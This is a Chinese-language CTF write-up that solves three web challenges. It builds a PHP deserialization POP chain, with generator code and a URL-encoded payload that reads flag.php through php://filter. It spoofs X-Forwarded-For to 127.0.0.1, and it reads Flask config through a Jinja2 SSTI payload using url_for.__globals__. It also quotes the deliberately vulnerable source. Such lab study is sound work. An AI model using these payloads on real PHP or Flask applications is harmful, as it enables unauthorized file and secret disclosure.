第16天
Web
[MRCTF2020]Ezpop
打开网站就是一段泄露的源代码:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value); //这里是得到flag的关键,需要包含flag.php}public function __invoke(){ //当脚本尝试将对象调用为函数时触发$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){ //创建对象时触发$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){ //当一个对象被当作一个字符串被调用return $this->str->source; //在Payload中没有这个属性就会自动执行__get函数}public function __wakeup(){ //使用unserialize时触发if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){ //创建对象时触发$this->p = array();}public function __get($key){ //用于将数据写入不可访问的属性$function = $this->p;return $function(); //会将$this->p当作函数调用}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
这里直接给出思路:
GET方法对pop
传值→触发unserialize
函数→触发Show类的__wakeup
→触发对象当作字符串
用(通过preg_match)→触发__toString
函数→触发调用不可读取属性
(将$this->str
声明为Test
类)→触发__get
函数→触发对象当作函数
使用(将Test
类中的属性p
实例化为对象)→触发__invoke
函数→调用append
函数→执行文件包含flag.php
这里涉及到将类的对象当作属性,又将属性当作对象使用,因此比较复杂:
<?php
class Modifier { protected $var="flag.php";
}
class Show{ public $source; public $str;
}
class Test{ public $p;
}
$a=new Show();
$a->source=new Show(); //把a的source属性声明为Show的对象
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a)); //反序列化后会先调用Show类的__wakeup方法
执行结果:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
但是访问后返回:
尝试将$var="flag.php"
修改成$var="php://filter/read=convert.base64-encode/resource=flag.php"
执行结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
解码得flag
<?php
class Flag{private $flag= "flag{58a467e0-42d9-484b-896c-81da20a8ad89}";
}
echo "Help Me Find FLAG!";
?>
[MRCTF2020]PYWebsite
直接F12可以看到关键源代码
function enc(code){hash = hex_md5(code);return hash;}function validate(){var code = document.getElementById("vcode").value;if (code != ""){if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){alert("您通过了验证!");window.location = "./flag.php"}else{alert("你的授权码不正确!");}}else{alert("请输入授权码");}}
看到一个flag.php
文件,访问后发现获取flag需要用到IP地址,推测是XFF
构造X-Forwarded-For:127.0.0.1
即可拿到flag
[WesternCTF2018]shrine
网站泄露了Flask的源代码,存在SSTI注入模板漏洞
import flask
import os
app = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+ sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
构造URL:/shrine/{{url_for.__globals__}}
url_for.globals 是一个 Python 特性,它返回 url_for 函数所在模块的全局符号表。这个全局符号表是一个字典,包含了该模块中定义的所有全局变量、函数和类等
返回内容:
访问/shrine/{{url_for.__globals__['current_app'].config}}
这里的config不会过滤 是因为是属性 所以不会过滤
成功拿到flag